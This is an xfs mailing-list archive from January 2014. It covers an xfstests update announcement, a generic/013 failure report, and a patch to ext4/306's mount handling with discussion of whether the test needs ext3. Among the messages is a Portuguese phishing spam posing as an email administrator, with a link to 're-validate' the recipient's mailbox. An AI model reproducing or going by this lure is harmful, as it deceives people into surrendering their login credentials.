| 105 ++++++++++++++++++++++++++++++++++++ > tests/xfs/306.out | 2 + > tests/xfs/group | 1 + > 45 files changed, 716 insertions(+), 109 deletions(-) > > -- > Dave Chinner > david@fromorbit.com > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From sandeen@sandeen.net Wed Jan 29 14:04:19 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 533067F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:04:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 258CB8F8064 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 12:04:16 -0800 (PST) X-ASG-Debug-ID: 1391025850-04bdf0122006630001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 4qKM4IQBDrBY6hu8 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 12:04:10 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E91EA6088B51; Wed, 29 Jan 2014 14:04:09 -0600 (CST) Message-ID: <52E95EB8.8080003@sandeen.net> Date: Wed, 29 Jan 2014 14:04:08 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Alex Lyakas <alex@zadarastorage.com>, Dave Chinner <david@fromorbit.com> CC: xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfstests updated to 197f773 References: <20140124025846.GL27606@dastard> <CAOcd+r1wUaMyrhvkq++WoswM1ND9+VZJNx0mZeC1Uiu663xbtg@mail.gmail.com> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfstests updated to 197f773 In-Reply-To: <CAOcd+r1wUaMyrhvkq++WoswM1ND9+VZJNx0mZeC1Uiu663xbtg@mail.gmail.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391025850 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144615 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/29/14, 1:55 PM, Alex Lyakas wrote: > Hi Dave, > are all tests in xfstests (those relevant for XFS) in principle > supposed to pass on XFS? > I am running these tests on a pristine XFS from kernel 3.8.13 > (srcversion 9862FA08CF42E06A4151111) and I get: > > root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# ./check tests/generic/013 > FSTYP -- xfs (non-debug) > PLATFORM -- Linux/x86_64 vc-13-12-1095-35-dev 3.8.13-030813-generic > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > MOUNT_OPTIONS -- /dev/vdb /mnt/SCRATCH_DIR > > generic/013 34s > _check_xfs_filesystem: filesystem on /dev/vda is inconsistent (c) (see > /mnt/work/alex/xfstests/results//generic/013.full) uh, so it failed > Ran: generic/013 > Passed all 1 tests but it passed? ;) The fact that you saw: > generic/013 34s and not: > generic/013 34s ... 33s or > generic/013 34s ... output mismatch or similar, makes me think the test did not even start, and /dev/vda was corrupted before you even started the test, but I'm not certain. /mnt/work/alex/xfstests/results//generic/013.full has more info. Anyway, 013 generally passes AFAIK. -Eric > root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# echo $? > 1 > > Thanks, > Alex. > > > On Fri, Jan 24, 2014 at 4:58 AM, Dave Chinner <david@fromorbit.com> wrote: >> Hi all, >> >> The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has >> just been updated. Patches often get missed, so please check if your >> outstanding patches were in this update. If they have not been in >> this update, please resubmit them to xfs@oss.sgi.com so they can be >> picked up in the next update. >> >> The new head of the master branch is commit: >> >> 197f773 xfstests: define $seqres in btrfs/026-029 >> >> New Commits: >> >> Dave Chinner (7): >> [ea0b6eb] xfs: test scratch device mkfs features >> [b9b5d74] xfs: New _require_* tests for CRC enabled filesystems >> [86e91cc] xfs: add fsstress/recovery test >> [5b524ee] xfs/073, 208: remove .full output before starting the test >> [b04b0fd] xfs: support xfs_metadump with external logs >> [3ed573e] xfs/104: use fixed log size >> [7657a10] generic/204: use fixed log size for XFS >> >> David Sterba (3): >> [80622a6] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 >> [586a06c] xfstests: use value of FSTYP if defined externally >> [1ed9046] xfstests: clean command names in btrfs tests >> >> Eric Sandeen (1): >> [a93b1dd] ext4: regression test for ext4 resize with non-extent files >> >> Filipe David Borba Manana (1): >> [8c427eb] xfstests: add test for btrfs incremental send infinite loop issue >> >> Koen De Wit (2): >> [0c58766] xfstests: btrfs: cross-subvolume sparse copy >> [197f773] xfstests: define $seqres in btrfs/026-029 >> >> >> Code Diffstat: >> >> README | 3 ++ >> check | 13 ++--- >> common/attr | 6 +++ >> common/rc | 122 +++++++++++++++++++++++++++--------------- >> tests/btrfs/003 | 2 +- >> tests/btrfs/004 | 2 +- >> tests/btrfs/007 | 4 +- >> tests/btrfs/008 | 12 ++--- >> tests/btrfs/009 | 6 +-- >> tests/btrfs/013 | 2 +- >> tests/btrfs/014 | 6 +-- >> tests/btrfs/015 | 2 +- >> tests/btrfs/016 | 14 ++--- >> tests/btrfs/017 | 2 +- >> tests/btrfs/019 | 14 ++--- >> tests/btrfs/022 | 6 +-- >> tests/btrfs/024 | 2 +- >> tests/btrfs/025 | 4 +- >> tests/btrfs/026 | 1 + >> tests/btrfs/027 | 1 + >> tests/btrfs/028 | 1 + >> tests/btrfs/029 | 1 + >> tests/btrfs/030 | 149 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/030.out | 1 + >> tests/btrfs/031 | 138 ++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/031.out | 48 +++++++++++++++++ >> tests/btrfs/group | 2 + >> tests/ext4/306 | 82 +++++++++++++++++++++++++++++ >> tests/ext4/306.out | 13 +++++ >> tests/ext4/group | 1 + >> tests/generic/204 | 4 ++ >> tests/generic/208 | 2 + >> tests/shared/298 | 2 +- >> tests/xfs/073 | 2 + >> tests/xfs/104 | 2 +- >> tests/xfs/186 | 1 + >> tests/xfs/187 | 32 ++++++----- >> tests/xfs/244 | 1 + >> tests/xfs/253 | 3 +- >> tests/xfs/278 | 1 + >> tests/xfs/287 | 3 +- >> tests/xfs/291 | 4 +- >> tests/xfs/306 | 105 ++++++++++++++++++++++++++++++++++++ >> tests/xfs/306.out | 2 + >> tests/xfs/group | 1 + >> 45 files changed, 716 insertions(+), 109 deletions(-) >> >> -- >> Dave Chinner >> david@fromorbit.com >> -- >> To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in >> the body of a message to majordomo@vger.kernel.org >> More majordomo info at http://vger.kernel.org/majordomo-info.html > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From enwlinux@gmail.com Wed Jan 29 14:45:11 2014 Return-Path: <enwlinux@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6F2E37F72 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:45:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 17D1FAC005 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 12:45:07 -0800 (PST) X-ASG-Debug-ID: 1391028306-04bdf0122007ab0001-NocioJ Received: from mail-qa0-f42.google.com (mail-qa0-f42.google.com [209.85.216.42]) by cuda.sgi.com with ESMTP id rUigcPeKTLFFsaCo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 12:45:07 -0800 (PST) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.42 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.42] Received: by mail-qa0-f42.google.com with SMTP id k4so3263319qaq.1 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 12:45:06 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.42] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=Csf+AJgJA4L/kHop2bscmesVyc0yEih5ggpiRmjYcyA=; b=xYH0i4gydqWKutTVFtsKd8ftpl8ETPqt8YqNCNOktPwt3eRawbjS1tGjOSskdMaFhf H0d6ZI1iAIJYtSsX3xfFta7YSuUTLHYxceLx4q8XvmGQH1ogWP1v+FC+LOEU+7AR6pik IPOkKSHwXTSmgmL2buAF6qM4MwdhLPZ61A3miCuLAQgqiY9voss6Ay0NjDX1Phzz6+ou 0UDpRnr9sAoSqQm+L01REZxIHIvYqOhfALHXf+sr+b936RmIiIQDQnNix/WbIZZS/yu2 yYC1njTL09ShDDyPoG8/qpUqI9N9Tv0vUoXQzmiyzADUcCmbG57sr4q6xtqv5T1tvdXQ BoJA== X-Received: by 10.224.147.75 with SMTP id k11mr15667712qav.22.1391028306109; Wed, 29 Jan 2014 12:45:06 -0800 (PST) Received: from wallace (c-75-67-250-69.hsd1.nh.comcast.net. [75.67.250.69]) by mx.google.com with ESMTPSA id b4sm5121700qgf.16.2014.01.29.12.45.05 for <multiple recipients> (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 29 Jan 2014 12:45:05 -0800 (PST) Date: Wed, 29 Jan 2014 15:45:02 -0500 From: Eric Whitney <enwlinux@gmail.com> To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org Subject: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options Message-ID: <20140129204502.GC2165@wallace> X-ASG-Orig-Subj: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qa0-f42.google.com[209.85.216.42] X-Barracuda-Start-Time: 1391028306 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144615 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature ext4/306 will fail when mounting the ext3 file system it creates if an ext3-incompatible mount option is applied by _scratch_mount. This can happen if EXT_MOUNT_OPTIONS is defined appropriately in the test environment. For example, the block_validity option is commonly used to enhance ext4 testing, and it is not supported by ext3. Fix this by not including any mount options defined by the test environment. Signed-off-by: Eric Whitney <enwlinux@gmail.com> --- tests/ext4/306 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/ext4/306 b/tests/ext4/306 index 398c4c0..e59c8ed 100755 --- a/tests/ext4/306 +++ b/tests/ext4/306 @@ -52,9 +52,10 @@ grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" rm -f $seqres.full -# Make a small ext3 fs, (extents disabled) & mount it +# Make a small ext3 fs, (extents disabled) yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 -_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" +# Mount it without _scratch_mount to avoid any ext3-incompatible mount options +_mount -t ext3 $SCRATCH_DEV $SCRATCH_MNT || _fail "couldn't mount fs as ext3" # Create a small non-extent-based file echo "Create 1m testfile1" $XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io -- 1.8.3.2 From tytso@thunk.org Wed Jan 29 15:38:53 2014 Return-Path: <tytso@thunk.org> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D34A67F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:38:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B24F78F8052 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:38:50 -0800 (PST) X-ASG-Debug-ID: 1391031528-04bdf0121d09630001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id pdGMqycZV7kL1VVu (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:38:48 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from <tytso@thunk.org>) id 1W8cqK-0001Mi-Dd; Wed, 29 Jan 2014 21:38:44 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id BFF895805F9; Wed, 29 Jan 2014 16:38:38 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1391031518; bh=4l6tCZapevrbpHvlgtjQCW9rf0bjMNDo9R2XYAqvzfY=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=1SOMy8NyHJKVPcAhDmXMjHvuHMOVdU+nV1Eumdjw0D/NROqT6XngzUI0kI4MTOinK eN39tTMWfIuTN7NxQKaouoxdWfV6e2MROvHZYcB0pWxYGBbfPBTZ5KZpDk0G5G4eGS KecvZDpe/D5l3ZIV0VnMKlCXLThZhcVZiDFhhX/M= Date: Wed, 29 Jan 2014 16:38:38 -0500 From: Theodore Ts'o <tytso@mit.edu> To: Eric Whitney <enwlinux@gmail.com> Cc: xfs@oss.sgi.com, linux-ext4@vger.kernel.org, esandeen@redhat.com Subject: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options Message-ID: <20140129213838.GF30419@thunk.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140129204502.GC2165@wallace> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140129204502.GC2165@wallace> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: <locally generated> X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1391031528 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Jan 29, 2014 at 03:45:02PM -0500, Eric Whitney wrote: > ext4/306 will fail when mounting the ext3 file system it creates if an > ext3-incompatible mount option is applied by _scratch_mount. This can > happen if EXT_MOUNT_OPTIONS is defined appropriately in the test > environment. For example, the block_validity option is commonly used > to enhance ext4 testing, and it is not supported by ext3. Fix this by > not including any mount options defined by the test environment. I'm not sure I understand why the test is insisting that the file system be mounted using ext3. If the file system is created without the extents flag, all of the files will be created using indirect blocks, and fundamentally what this test is getting at is that after we grow the file system using resize2fs, the new blocks are available to be allocated and attached to an indirect block file. We can do this by using ext4; I'm not sure why this test is trying to use ext3 to set up the test flie system. It might be better to get rid of the requirement to create the file system using ext3, since it will make the test runnable even if the ext3 file system hasn't been configured into the system and CONFIG_EXT23_AS_EXT4 is not enabled. IIRC, Eric Sandeen wrote this test --- Eric, am I missing some reason why it was necessary to use ext3 here? - Ted From esandeen@redhat.com Wed Jan 29 15:44:08 2014 Return-Path: <esandeen@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C32B97F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:44:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9408D304059 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:44:05 -0800 (PST) X-ASG-Debug-ID: 1391031844-04bdf0121f098d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oFfE3feWHpaoOdy7 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:44:04 -0800 (PST) X-Barracuda-Envelope-From: esandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0TLi1jO020057 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 16:44:02 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0TLi0j3024053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 16:44:01 -0500 Message-ID: <52E9761F.7070903@redhat.com> Date: Wed, 29 Jan 2014 15:43:59 -0600 From: Eric Sandeen <esandeen@redhat.com> Reply-To: sandeen@redhat.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: "Theodore Ts'o" <tytso@mit.edu>, Eric Whitney <enwlinux@gmail.com> CC: xfs@oss.sgi.com, linux-ext4@vger.kernel.org Subject: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140129204502.GC2165@wallace> <20140129213838.GF30419@thunk.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options In-Reply-To: <20140129213838.GF30419@thunk.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391031844 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/29/14, 3:38 PM, Theodore Ts'o wrote: > On Wed, Jan 29, 2014 at 03:45:02PM -0500, Eric Whitney wrote: >> ext4/306 will fail when mounting the ext3 file system it creates if an >> ext3-incompatible mount option is applied by _scratch_mount. This can >> happen if EXT_MOUNT_OPTIONS is defined appropriately in the test >> environment. For example, the block_validity option is commonly used >> to enhance ext4 testing, and it is not supported by ext3. Fix this by >> not including any mount options defined by the test environment. > > I'm not sure I understand why the test is insisting that the file > system be mounted using ext3. If the file system is created without > the extents flag, all of the files will be created using indirect > blocks, and fundamentally what this test is getting at is that after > we grow the file system using resize2fs, the new blocks are available > to be allocated and attached to an indirect block file. > > We can do this by using ext4; I'm not sure why this test is trying to > use ext3 to set up the test flie system. It might be better to get > rid of the requirement to create the file system using ext3, since it > will make the test runnable even if the ext3 file system hasn't been > configured into the system and CONFIG_EXT23_AS_EXT4 is not enabled. > > IIRC, Eric Sandeen wrote this test --- Eric, am I missing some reason > why it was necessary to use ext3 here? Nope. Tomayto, tomahto - I think the original report had trouble with an ext3 filesystem, so that's how I wrote the testcase. It could be fixed either way, I think. -Eric > > - Ted > From ipany@agrocampus-ouest.fr Wed Jan 29 15:46:11 2014 Return-Path: <ipany@agrocampus-ouest.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=MIME_QP_LONG_LINE, SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B7F847F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:46:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0E4B8F804B for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:46:11 -0800 (PST) X-ASG-Debug-ID: 1391031967-04cbb00c2906e20001-NocioJ Received: from mel.agrocampus-ouest.fr (mel.roazhon.inra.fr [194.167.76.130]) by cuda.sgi.com with ESMTP id GZWFEyGf4hlXFiQv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:46:08 -0800 (PST) X-Barracuda-Envelope-From: ipany@agrocampus-ouest.fr X-Barracuda-Apparent-Source-IP: 194.167.76.130 Received: from smithwicks.agrocampus-ouest.fr (smithwicks [194.167.76.131]) by mel.agrocampus-ouest.fr (/8.14.4) with ESMTP id s0TLY1Gt017345; Wed, 29 Jan 2014 22:34:01 +0100 (CET) Received: from localhost ([127.0.0.1]) by smithwicks.agrocampus-ouest.fr with esmtp (Exim 4.69) (envelope-from <ipany@agrocampus-ouest.fr>) id 1W8cll-0008Sl-Ou; Wed, 29 Jan 2014 22:34:01 +0100 Received: from 41.203.67.144 ([41.203.67.144]) by webmail.agrocampus-ouest.fr (Horde MIME library) with HTTP; Wed, 29 Jan 2014 22:34:01 +0100 Message-ID: <20140129223401.rli4ljo7c44g0csc@webmail.agrocampus-ouest.fr> Date: Wed, 29 Jan 2014 22:34:01 +0100 From: EMAIL ADMINISTRATOR <ipany@agrocampus-ouest.fr> To: undisclosed-recipients:; Subject: =?iso-8859-1?b?QVRVQUxJWkHHw08=?= DE E-MAIL MUITO IMPORTANTE AVISO MIME-Version: 1.0 X-ASG-Orig-Subj: =?iso-8859-1?b?QVRVQUxJWkHHw08=?= DE E-MAIL MUITO IMPORTANTE AVISO Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Internet Messaging Program (IMP) H3 (4.1.4) X-Miltered: at mel with ID 52E973C9.000 by Joe's j-chkmail (http : // j-chkmail dot ensmp dot fr)! X-j-chkmail-Enveloppe: 52E973C9.000/194.167.76.131/smithwicks/smithwicks.agrocampus-ouest.fr/<ipany@agrocampus-ouest.fr> X-j-chkmail-Score: MSGID : 52E973C9.000 on mel.agrocampus-ouest.fr : j-chkmail score : XX : R=. U=. O=# B=0.302 -> S=0.400 X-j-chkmail-Status: Unsure X-Barracuda-Connect: mel.roazhon.inra.fr[194.167.76.130] X-Barracuda-Start-Time: 1391031968 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars E-Mail Prezado usu=E1rio, esta =E9 alert=E1-lo para Re-Validate sua caixa postal o Que Has ultrapassou= o seu limite de armazenamento o definido pelo seu administrador, e voc=EA n=E3o = =20 ser=E1 capaz de receber novas mensagens at=E9 que voc=EA Re-Validate. Clique aqui para Re-Validate: http://correospi.jimdo.com/ Administrador Webmail e-mail Sistema Help Desk From boxerapp@aol.com Wed Jan 29 15:48:33 2014 Return-Path: <boxerapp@aol.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 805367F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:48:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4CF7F8F8052 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:48:33 -0800 (PST) X-ASG-Debug-ID: 1391032110-04bdf0121d09b20001-NocioJ Received: from omr-m10.mx.aol.com (omr-m10.mx.aol.com [64.12.143.86]) by cuda.sgi.com with ESMTP id lZrD6tRtiTZErvaX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:48:31 -0800 (PST) X-Barracuda-Envelope-From: boxerapp@aol.com X-Barracuda-Apparent-Source-IP: 64.12.143.86 Received: from mtaout-mbc01.mx.aol.com (mtaout-mbc01.mx.aol.com [172.26.221.141]) by omr-m10.mx.aol.com (Outbound Mail Relay) with ESMTP id A4BE3701F4741; Wed, 29 Jan 2014 16:48:30 -0500 (EST) Received: from Kodiak-Furrs-iPad (rrcs-67-78-97-126.sw.biz.rr.com [67.78.97.126]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mtaout-mbc01.mx.aol.com (MUA/Third Party Client Interface) with ESMTPSA id 95C41380000B2; Wed, 29 Jan 2014 16:48:29 -0500 (EST) Date: Wed, 29 Jan 2014 15:48:32 -0600 From: Kodiak Furr <boxerapp@aol.com> To: <sandeen@redhat.com> Cc: <xfs@oss.sgi.com>, Eric Whitney <enwlinux@gmail.com>, <linux-ext4@vger.kernel.org>, Theodore Ts'o <tytso@mit.edu> Message-ID: <8B7AA21A-D30B-41BE-A381-85C4D8E08791@aol.com> In-Reply-To: <52E9761F.7070903@redhat.com> References: <20140129213838.GF30419@thunk.org> <52E9761F.7070903@redhat.com> Subject: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options X-Boxer-Generated: true X-ASG-Orig-Subj: Re: [PATCH] xfstests: avoid ext4/306 failures caused by incompatible mount options X-Boxer-IsLike: true MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="52e97730_327b23c6_1023" x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1391032110; bh=ZrHnsmmIwF8jU87Z10Bgiq0OjUD6jP1AJJRhyydeHB4=; 